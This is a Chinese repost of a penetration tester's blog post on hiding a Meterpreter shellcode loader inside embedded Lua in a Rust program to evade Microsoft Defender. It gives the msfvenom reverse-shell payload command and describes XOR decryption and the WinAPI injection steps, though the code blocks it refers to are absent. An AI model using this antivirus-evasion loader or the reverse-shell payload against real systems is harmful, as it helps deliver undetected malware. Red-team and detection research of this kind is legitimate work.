我最近开始了解游戏模组的世界。我一直在游戏机上玩游戏,所以模组不是我追求的东西。然而,在拿起我最喜欢的游戏的 PC 版本后,我发现了一个有趣的模组世界,这绝对激起了我的兴趣。当我周末浏览 GitHub 并查看可用于游戏的各种模组时,我注意到它们都是用 Lua 编写的。在成为渗透测试员之前,我曾担任软件工程师。因此,学习和涉猎新的编程语言一直是我的兴趣所在。
我听说过 Lua,但对它一无所知,也从未使用过它。自然而然地,我开始阅读有关该语言的资料,以及它为何在游戏修改方面如此受欢迎。根据lua.org的说法:Lua 是一种功能强大、高效、轻量级、可嵌入的脚本语言。它支持过程式编程、面向对象编程、函数式编程、数据驱动编程和数据描述。它功能强大、轻量级和可嵌入的事实似乎也是它在游戏修改器中广受欢迎的原因。Lua 听起来很棒,我立即开始思考如何将其用于攻击性开发。使用“不流行”的编程语言是攻击者用来帮助逃避检测的一种行之有效的策略。
这篇 2021 年的文章提到了攻击者如何使用 Go、Nim、Rust 和 DLang 绕过防御。然而,在 2024 年,我认为可以肯定地说,Go、Nim 和 Rust 现在都是流行的选择(对不起 DLang)。现代恶意软件中使用的不太流行的编程语言的其他例子是用Delphi编写的DarkGate和用Pascal编写的Mortar。由于缺乏强大的检测机制,防病毒软件在检测不常见语言的恶意软件时会更加困难。语言使用得越少,防病毒引擎开发出用于检测的已知恶意软件签名和启发式方法的综合数据库的可能性就越小。进攻性开发是一个很好的创意出口。当谈到 AV 逃避时,跳出框框思考可以在很大程度上决定你的有效载荷的成功。有时,你的有效载荷越奇怪、越抽象、越复杂,就越好。所以,系好安全带——事情会变得很奇怪。
项目设置
因此,我们要做的是创建一个基本的 Lua shellcode 加载器并将其嵌入到 Rust 程序中。然后,我们将在 Rust 中创建相同的基本 shellcode 加载器,并查看它们在检测方面的表现如何。我选择 Rust 而不是 C 之类的语言,因为我非常喜欢 Rust 用于攻击性开发。我写过几篇使用 Rust 创建攻击性工具的博客文章,我甚至在 SynerComm 的 2023 年 IT 峰会上发表了演讲,解释了为什么它是一门很棒的攻击性开发语言。为了在我们的 Rust 项目中使用 Lua,我们将使用mlua包并添加功能“vendored”和“luajit”。这将确保我们的二进制文件具有执行 Lua 代码所需的一切,而无需在目标机器上安装 Lua。因此,我们的 Cargo.toml 文件将如下所示:
在我们的main.rs文件中,我们将使用方便的“ include_bytes!”宏来加载我们稍后将生成的 meterpreter shellcode,创建我们的 Lua 实例,并加载 FFI 和 BIT 库。FFI 是我们使用 WinAPI 所必需的,而 BIT 是执行 shellcode 上的 XOR 解密所必需的。
接下来,我们可以调用lua.load(),在其中编写我们想要执行的所有 Lua 代码。我们要做的第一件事是调用ffi.cdef[[]],在其中定义我们想要使用的所有 Windows API 函数和常量。我们只是在做一个基本的 shellcode 加载器,所以我们将使用以下 WinAPI 函数:
-
虚拟分配
-
虚拟保护
-
创建线程
-
等待单个对象
为了简化操作并允许我们从 MSDN 复制粘贴函数,我们可以创建 C 类型到其 Windows 类型的类型定义。例如,unsigned long => DWORD。我们的 ffi.cdef 将如下所示:
https://luajit.org/ext_ffi_semantics.htm
我们将在 Rust 中创建一个 Lua 表,并将我们的 shellcode 和 shellcode 长度添加到可在 Lua 代码中使用的全局变量中。所有这些都需要在我们的 lua.load() 方法之上进行。
接下来,我们将调用VirtualAlloc为我们的 shellcode 创建空间。我们还将创建 uint8 类型的 C 缓冲区数组,我们将把 shellcode 复制到该数组中。注意:变量名称前面的 # 获取数组的长度。
现在我们需要解密 shellcode 并将其复制到使用 VirtualAlloc 分配的地址空间中。我们不会在这里偷工减料,因此我们将像在现实世界中一样加密 shellcode。我使用以下命令生成 MSF shellcode(根据需要调整 LHOST):msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.2.99.1 LPORT=443 -f raw -o msfshellcode.bin EXITFUNC=thread 我们将使用 XOR 加密 shellcode,因为我们可以在 Lua 程序中轻松解密它,而无需任何第三方加密库。我建议在 Windows 机器上使用此shellcode 加密套件对有效负载进行 XOR 运算。xor.py脚本使用旋转密钥而不是单字节 XOR 密钥来增强安全性。就我而言,我使用了“secretkey”并将其写入 Rust 项目的“src”目录。确保复制其打印的十六进制键。
接下来,我们将解密我们的 XOR 的 shellcode,将 shellcode 复制到 C 缓冲区,并将 C 缓冲区复制到我们使用 VirtualAlloc 创建的地址空间。
那些眼尖的人可能已经注意到数组索引有些奇怪。在 Lua 中,索引从 1 开始,但使用 ffi C 数组时,索引从 0 开始。最后,我们可以调用 VirtualProtect 将保护更改为 PAGE_EXECUTE_READ,然后通过调用 CreateThread 和 WaitForSingleObject 无限期等待来启动我们的 shellcode。在 Rust 方面,我们可以为我们的 Lua 代码块设置一个名称,如果您要调用多个,这很方便,然后调用 exec() 来运行它。最终部分将如下所示:
我认为值得一提的是以下代码:local oldProtect = ffi.new (“DWORD[0]”) VirtualProtect函数接受一个指向 DWORD 的指针,该 DWORD 将接收旧的内存保护值。通过将这个新的 DWORD 创建为具有 0 个元素的数组,我们实际上是在创建 DWORD 指针。
现在到了令人兴奋的部分,测试!
为了进行平等比较,我用纯 Rust 创建了相同的基本 shellcode 注入器。它遵循相同的简单注入方法:VirtualAlloc => XOR decrypt => Copy shellcode => VirtualProtect => CreateThread => WaitForSingleObject 它还使用相同的 XOR'd meterpreter shellcode 和相同的解密密钥。您可以在此处查看该存储库。
对于实验室设置,我使用Ludus,并在 Kali 机器上运行 Metasploit,并在 Windows 11 Enterprise 机器上测试有效负载,并打开实时保护,关闭自动样本提交。PSA 始终关闭自动样本提交!首先,我测试了 Rust Lua Loader,并且能够获得 Meterpreter shell,Defender 没有任何抱怨。太酷了!
纯 Rust 版本 rust baseline 有点令人失望。我甚至无法将它放到磁盘上而不被检测到。
但是,我认为这说明了嵌入的 Lua 有效载荷有多么强大!特别是考虑到 Meterpreter shellcode 包含在二进制文件中,并且我们使用了一种非常基本的 shellcode 注入方法。
对于最后的测试,我想看看这两个有效载荷在antiscan.me上的表现如何。通常,我从不将有效载荷上传到任何分析网站。他们说他们不会分发结果,但我不相信。不幸的是,antiscan.me无法正常工作,所以我不得不使用 VirusTotal,它肯定会分发结果(RIP 有效载荷)。
13 家供应商检测到了 Rust 基线负载。
但是,只有一个检测到Rust Lua 加载器。
Lua 的结果和强大功能给我留下了深刻的印象。希望嵌入式 Lua 可以成为您进攻性开发武器库中的另一个工具。每个项目的完整源代码如下。
原文始发于微信公众号(Ots安全):逃避Microsoft Defender
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论